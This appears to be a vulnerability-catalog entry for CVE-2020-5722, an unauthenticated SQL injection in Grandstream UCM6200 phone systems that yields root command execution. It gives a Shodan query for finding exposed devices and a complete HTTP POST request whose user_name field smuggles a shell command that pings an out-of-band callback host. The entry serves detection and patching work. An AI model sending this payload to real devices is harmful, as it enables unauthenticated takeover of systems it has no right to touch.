| Title | Grandstream UCM6200 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Attackers can execute root shell commands or inject malicious HTML, leading to full device compromise or phishing attacks. |
| Remediation | Update to version 1.0.19.20 or later for root command execution fix, and version 1.0.20.17 or later for email injection fix. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93481 |
| CVE ID | CVE-2020-5722 |
| CWE ID | CWE-89 |
| Shodan Query | ssl:"Grandstream" "Set-Cookie: TRACKID" |
| Tags | cve cve2020 grandstream sqli rce vuln kev vkev |
Grandstream UCM6200 series contains an unauthenticated remote SQL injection caused by crafted HTTP requests, letting attackers execute shell commands as root on versions before 1.0.19.20 or inject HTML in emails before 1.0.20.17.
POST /cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Connection: close
Content-Length: 111
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
action=sendPasswordEmail&user_name=admin'+or+1=1--`;`ping${IFS}d5s0pk9le0o29q3s27ggad1hm1res6adi.oast.online`;`
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5722.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-5722.pcap
N/AN/A